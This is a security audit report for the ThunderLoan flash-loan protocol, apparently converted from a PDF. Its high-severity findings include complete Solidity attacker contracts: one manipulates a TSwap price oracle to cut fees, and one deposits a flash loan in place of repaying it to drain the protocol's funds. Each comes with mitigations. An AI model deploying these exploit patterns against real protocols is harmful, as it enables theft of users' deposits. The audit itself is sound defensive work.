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## Protocol Summary

The ThunderLoan protocol is meant to do the following:

Give users a way to create flash loans  
Give liquidity providers a way to earn money off their capital  
Liquidity providers can deposit assets into ThunderLoan and be given AssetTokens in return. These AssetTokens gain interest over time depending on how often people take out flash loans!

## Disclaimer

The Squilliam team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
- In Scope:

```
1  |-- interfaces
2  |    |-- IFlashLoanReceiver.sol
3  |    |-- IPoolFactory.sol
4  |    |-- ITSwapPool.sol
5  |    |-- IThunderLoan.sol
6  |-- protocol
7  |    |-- AssetToken.sol
8  |    |-- OracleUpgradeable.sol
9  |    |-- ThunderLoan.sol
10 |-- upgradedProtocol
11    |-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.
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## Executive Summary

The ThunderLoan protocol has been designed with two primary objectives:

To enable users to create flash loans, providing them with an innovative financial instrument. To offer liquidity providers an opportunity to earn money by leveraging their capital.

Liquidity providers can engage with the ThunderLoan ecosystem by depositing their assets and receiving AssetTokens in return. These AssetTokens accrue interest over time, with the interest rate being influenced by the frequency of flash loan usage within the platform.

## Issues found

Severity	Number of issues found
High	4
Medium	1
Low	3
Info	7
Total	15

## Findings

### Highs

#### [H-1] Mixing up variable location causes storage collisions in ThunderLoan::s\_flashLoanFee and ThunderLoan::s\_currentlyFlashLoaning

**Description:** ThunderLoan.sol has two variables in the following order:

```
1    uint256 private s_feePrecision;  
2    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, the expected upgraded contract ThunderLoanUpgraded.sol has them in a different order.

```
1    uint256 private s_flashLoanFee; // 0.3% ETH fee  
2    uint256 public constant FEE_PRECISION = 1e18;
```

Due to how Solidity storage works, after the upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the positions of storage variables when working with upgradeable contracts.

**Impact:** After upgrade, the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after an upgrade will be charged the wrong fee. Additionally the `s_currentlyFlashLoaning` mapping will start on the wrong storage slot.

#### Proof of Code:

Code Add the following code to the `ThunderLoanTest.t.sol` file.

```
1 // You'll need to import `ThunderLoanUpgraded` as well
2 import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
  ThunderLoanUpgraded.sol";
3
4 function testUpgradeBreaks() public {
5     uint256 feeBeforeUpgrade = thunderLoan.getFee();
6     vm.startPrank(thunderLoan.owner());
7     ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
8     thunderLoan.upgradeTo(address(upgraded));
9     uint256 feeAfterUpgrade = thunderLoan.getFee();
10
11     assert(feeBeforeUpgrade != feeAfterUpgrade);
12 }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

**Recommended Mitigation:** Do not switch the positions of the storage variables on upgrade, and leave a blank if you're going to replace a storage variable with a constant. In `ThunderLoanUpgraded.sol`:

```
1 - uint256 private s_flashLoanFee; // 0.3% ETH fee
2 - uint256 public constant FEE_PRECISION = 1e18;
3 + uint256 private s_blank;
4 + uint256 private s_flashLoanFee;
5 + uint256 public constant FEE_PRECISION = 1e18;
```

**[H-2] Erroneous ThunderLoan::updateExchangeRate in the deposit function causes protocol to think it has more fees than it really does, which blocks redemption and incorrectly sets the exchange rate.**

**Description:** In the ThunderLoan system, the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and underlying tokens. In a way, its responsible for keeping track of how many fees to give to liquidity providers.

However, the `deposit` function updates this rate without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.
        EXCHANGE_RATE_PRECISION()) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7      // @audit-high
8  @>      uint256 calculatedFee = getCalculatedFee(token, amount);
9  @>      assetToken.updateExchangeRate(calculatedFee);
10     token.safeTransferFrom(msg.sender, address(assetToken), amount)
        ;
11 }
```

**Impact:** There are several impacts to this bug.

1. The `redeem` function is blocked, because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than deserved.

#### Proof of Concept:

1. LP deposits
2. User takes out a flashloan
3. It is not impossible for LP to redeem

#### Proof of Code

Place the following into `ThunderLoan.t.sol`

```
1  function testRedeemAfterLoan() public setAllowedToken hasDeposits {
2      uint256 amountToBorrow = AMOUNT * 10;
3      uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
        amountToBorrow);
4
5      vm.startPrank(user);
6      tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
7      thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
        amountToBorrow, "");
8      vm.stopPrank();
9
10     uint256 amountToRedeem = type(uint256).max;
11     vm.startPrank(LiquidityProvider);
12     thunderLoan.redeem(tokenA, amountToRedeem);
13 }
```

**Recommended Mitigation:** Remove the incorrectly updated exchange rate lines from the `deposit`.

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
2      AssetToken assetToken = s_tokenToAssetToken[token];
3      uint256 exchangeRate = assetToken.getExchangeRate();
4      uint256 mintAmount = (amount * assetToken.
        EXCHANGE_RATE_PRECISION()) / exchangeRate;
5      emit Deposit(msg.sender, token, amount);
6      assetToken.mint(msg.sender, mintAmount);
7      // @audit-high
8  -   uint256 calculatedFee = getCalculatedFee(token, amount);
9  -   assetToken.updateExchangeRate(calculatedFee);
10     token.safeTransferFrom(msg.sender, address(assetToken), amount)
        ;
11 }
```

### [H-3] Using TSwap as price oracle leads to price and oracle manipulation attacks

**Description:** The TSwap protocol is a constant product formula based on AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or sells a large amount of the token in the same transaction, essentially ignoring protocol fees

**Impact:** Liquidity providers will drastically receive reduced fees for providing liquidity.

#### Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flashloan from `ThunderLoan` for 1000 `tokenA`. They are charged the original fee `fee1`. During the flashloan, they do the following:
2. Instead of repaying right away, the user takes out another flashloan for another 1000 `tokenA`.
  1. Due to the price `ThunderLoan` calculates price based on the `TSwapPool`, this second flashloan is substantially cheaper,

```
1  function getPriceInWeth(address token) public view returns (uint256)
    {
2      address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
        token);
3      return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
        ();
4  }
```

3. The user then repays the first flashloan, and then repays the second flashloan.



Add the following Proof of Code test to `ThunderLoanTest.t.sol`

#### Proof Of Code

```
1 function testOracleManipulation() public {
2     // 1. Set-up contracts
3     thunderLoan = new ThunderLoan();
4     tokenA = new ERC20Mock();
5     proxy = new ERC1967Proxy(address(thunderLoan), "");
6     BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
7     ;
8     // Create a TSwap Dex between Weth and TokenA
9     address tswapPool = pf.createPool(address(tokenA));
10    thunderLoan = ThunderLoan(address(proxy));
11    thunderLoan.initialize(address(pf));
12
13    // 2. Fund TSwap
14    vm.startPrank(LiquidityProvider);
15    tokenA.mint(LiquidityProvider, 100e18);
16    tokenA.approve(address(tswapPool), 100e18);
17    weth.mint(LiquidityProvider, 100e18);
18    weth.approve(address(tswapPool), 100e18);
19    BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
20    timestamp);
21    vm.stopPrank();
22    // Ration 100 WETH & 100 TokenA
23    // Price: 1:1
24
25    // 3. Fund ThunderLoan
26    vm.prank(thunderLoan.owner());
27    thunderLoan.setAllowedToken(tokenA, true);
28    // Fund
29    vm.startPrank(LiquidityProvider);
30    tokenA.mint(LiquidityProvider, 1000e18);
31    tokenA.approve(address(thunderLoan), 1000e18);
32    thunderLoan.deposit(tokenA, 1000e18);
33    vm.stopPrank();
34
35    // 100 WETH & TokenA in TSwap, meaning the price is 1:1
36    // 1000 TokenA in ThunderLoan
37    // Take out a flashloan of 50 TokenA
38    // swap it on the dex, tanking the price> 150 TokenA -> ~80WETH
39    // take out ANOTHER flashloan of 50 TokenA (and we'll see how
40    much cheaper it is!)
41
42    // 4. We are going to take out 2 flashloans
43    // a. To nuke the price of the Weth/tokenA on TSwap
44    // b. to show that doing so greatly reduces the fees we pay on
45    thunderloan.
46    uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
47    100e18);
```

```
43     console.log("Normal Fee Cost: ", normalFeeCost);
44     // Normal Fee Cost: 0.296147410319118389
45
46     uint256 amountToBorrow = 50e18; // we're gonna do this twice
47     MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
48     (
49         address(tswapPool), address(thunderLoan), address(
50             thunderLoan.getAssetFromToken(tokenA))
51     );
52     vm.startPrank(user);
53     tokenA.mint(address(flr), 100e18);
54     thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
55     ;
56     vm.stopPrank();
57
58     uint256 attackFee = flr.feeOne() + flr.feeTwo();
59     console.log("Attack Fee is: ", attackFee);
60     assert(attackFee < normalFeeCost);
61 }
62 }
63
64 contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
65     ThunderLoan thunderLoan;
66     address repayAddress;
67     BuffMockTSwap tswapPool;
68     bool attacked;
69     uint256 public feeOne;
70     uint256 public feeTwo;
71     // 1. Swap TokenA for WETH
72     // 2. Take out another flashloan to show the difference
73
74     constructor(address _tswapPool, address _thunderloan, address
75         _repayAddress) {
76         tswapPool = BuffMockTSwap(_tswapPool);
77         thunderLoan = ThunderLoan(_thunderloan);
78         repayAddress = _repayAddress;
79     }
80
81     function executeOperation(
82         address token,
83         uint256 amount,
84         uint256 fee,
85         address, /*initiator*/
86         bytes calldata /*params*/
87     )
88     external
89     returns (bool)
90     {
91         if (!attacked) {
92             // 1. Swap TokenA borrowed for WETH
```

```

90         // 2. Take out another flashloan to show the difference
91         feeOne = fee;
92         attacked = true;
93         uint256 wethBought = tswapPool.getOutputAmountBasedOnInput
94             (50e18, 100e18, 100e18);
95         IERC20(token).approve(address(tswapPool), 50e18);
96         tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
97             wethBought, block.timestamp);
98         // we call a second flashloan
99         thunderLoan.flashloan(address(this), IERC20(token), amount,
100             "");
101         // repay
102         // IERC20(token).approve(address(thunderLoan), amount + fee
103             );
104         // thunderLoan.repay(IERC20(token), amount + fee);
105         IERC20(token).transfer(address(repayAddress), amount + fee)
106             ;
107     } else {
108         // calculate the fee and repay
109         feeTwo = fee;
110         // repay
111         // IERC20(token).approve(address(thunderLoan), amount + fee
112             );
113         // thunderLoan.repay(IERC20(token), amount + fee);
114         IERC20(token).transfer(address(repayAddress), amount + fee)
115             ;
116     }
117 }

```

**Recommended Mitigation:** Consider using a different price oracle mechanism, like a chainlink price-feed with a uniswap TWAP fallback oracle.

#### **[H-4] By calling a flashloan and then ThunderLoan::deposit instead of ThunderLoan::repay users can steal all funds from the protocol**

**Description:** Users can call a flashloan from `ThunderLoan`, then instead of repaying it, they can code a smart contract to instead deposit the flashloan back into the protocol, allowing them to then redeem the funds (steal the funds), as if they deposited the funds themselves.

**Impact:** Anyone who uses this exploit can steal all the funds in the protocol.

#### **Proof of Concept:**

Insert the following test into `ThunderLoanTest.t.sol`

Proof Of Code

```
1  function testUseDepositInsteadOfRepayToStealFunds() public
2      setAllowedToken hasDeposits {
3          vm.startPrank(user);
4          uint256 amountToBorrow = 50e18;
5          uint256 fee = thunderLoan.getCalculatedFee(tokenA,
6              amountToBorrow);
7          DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
8              ));
9          tokenA.mint(address(dor), fee);
10         thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
11         ;
12         dor.redeemMoney();
13         vm.stopPrank();
14
15         assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
16     }
17 }
18
19 contract DepositOverRepay is IFlashLoanReceiver {
20     ThunderLoan thunderLoan;
21     AssetToken assetToken;
22     IERC20 s_token;
23
24     constructor(address _thunderLoan) {
25         thunderLoan = ThunderLoan(_thunderLoan);
26     }
27
28     function executeOperation(
29         address token,
30         uint256 amount,
31         uint256 fee,
32         address, /*initiator*/
33         bytes calldata /*params*/
34     )
35     external
36     returns (bool)
37     {
38         s_token = IERC20(token);
39         assetToken = thunderLoan.getAssetFromToken(IERC20(token));
40         IERC20(token).approve(address(thunderLoan), amount + fee);
41         thunderLoan.deposit(IERC20(token), amount + fee);
42         return true;
43     }
44
45     function redeemMoney() public {
46         uint256 amount = assetToken.balanceOf(address(this));
47         thunderLoan.redeem(s_token, amount);
48     }
49 }
```

**Recommended Mitigation:** Do not allow users to be able to deposit flashloans into the deposit

function.

## Medium

### [M-1] Centralization risk for trusted owners

**Impact:** Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

*Instances (2):*

```
1 File: src/protocol/ThunderLoan.sol
2
3 223:     function setAllowedToken(IERC20 token, bool allowed) external
         onlyOwner returns (AssetToken) {
4
5 261:     function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

**Contralized owners can brick redemptions by disapproving of a specific token**

## Low

### [L-1] Empty Function Body - Consider commenting why

*Instances (1):*

```
1 File: src/protocol/ThunderLoan.sol
2
3 261:     function _authorizeUpgrade(address newImplementation) internal
         override onlyOwner { }
```

### [L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

*Instances (6):*

```
1 File: src/protocol/OracleUpgradeable.sol
2
3 11:     function __Oracle_init(address poolFactoryAddress) internal
         onlyInitializing { }
```

```

1 File: src/protocol/ThunderLoan.sol
2
3 138:     function initialize(address tswapAddress) external initializer
4       {
5 138:     function initialize(address tswapAddress) external initializer
6       {
7 139:         __Ownable_init();
8
9 140:         __UUPSUpgradeable_init();
10
11 141:         __Oracle_init(tswapAddress);

```

### [L-3] Missing critical event emissions

**Description:** When the `ThunderLoan::s_flashLoanFee` is updated, there is no event emitted.

**Recommended Mitigation:** Emit an event when the `ThunderLoan::s_flashLoanFee` is updated.

```

1 +     event FlashLoanFeeUpdated(uint256 newFee);
2 .
3 .
4 .
5     function updateFlashLoanFee(uint256 newFee) external onlyOwner {
6         if (newFee > s_feePrecision) {
7             revert ThunderLoan__BadNewFee();
8         }
9         s_flashLoanFee = newFee;
10 +     emit FlashLoanFeeUpdated(newFee);
11 }

```

## Informational

### [I-1] Poor Test Coverage

```

1 Running tests...
2 | File                                     | % Lines      | % Statements
3 | -----|-----|-----|
4 | src/protocol/AssetToken.sol             | 70.00% (7/10) | 76.92% (10/13)
   | 50.00% (1/2) | 66.67% (4/6) |

```

5	<code>src/protocol/OracleUpgradeable.sol</code>	100.00% (6/6)	100.00% (9/9)
	100.00% (0/0)   80.00% (4/5)		
6	<code>src/protocol/ThunderLoan.sol</code>	64.52% (40/62)	68.35% (54/79)
	37.50% (6/16)   71.43% (10/14)		

**[I-2] Not using `__gap [50]` for future storage collision mitigation**

**[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6**

**[I-4] Doesn't follow <https://eips.ethereum.org/EIPS/eip-3156>**

**Recommended Mitigation:** Aim to get test coverage up to over 90% for all files.

## Gas

**[GAS-1] Using bools for storage incurs overhead**

Use `uint256(1)` and `uint256(2)` for true/false to avoid a `Gwarmaccess` (100 gas), and to avoid `Gsset` (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

*Instances (1):*

```
1 File: src/protocol/ThunderLoan.sol
2
3 98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
      s_currentlyFlashLoaning;
```

**[GAS-2] Using `private` rather than `public` for constants, saves gas**

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

*Instances (3):*

```
1 File: src/protocol/AssetToken.sol
2
3 25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
1 File: src/protocol/ThunderLoan.sol
2
3 95:      uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee
4
5 96:      uint256 public constant FEE_PRECISION = 1e18;
```

### **[GAS-3] Unnecessary SLOAD when logging new exchange rate**

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
1  s_exchangeRate = newExchangeRate;
2  - emit ExchangeRateUpdated(s_exchangeRate);
3  + emit ExchangeRateUpdated(newExchangeRate);
```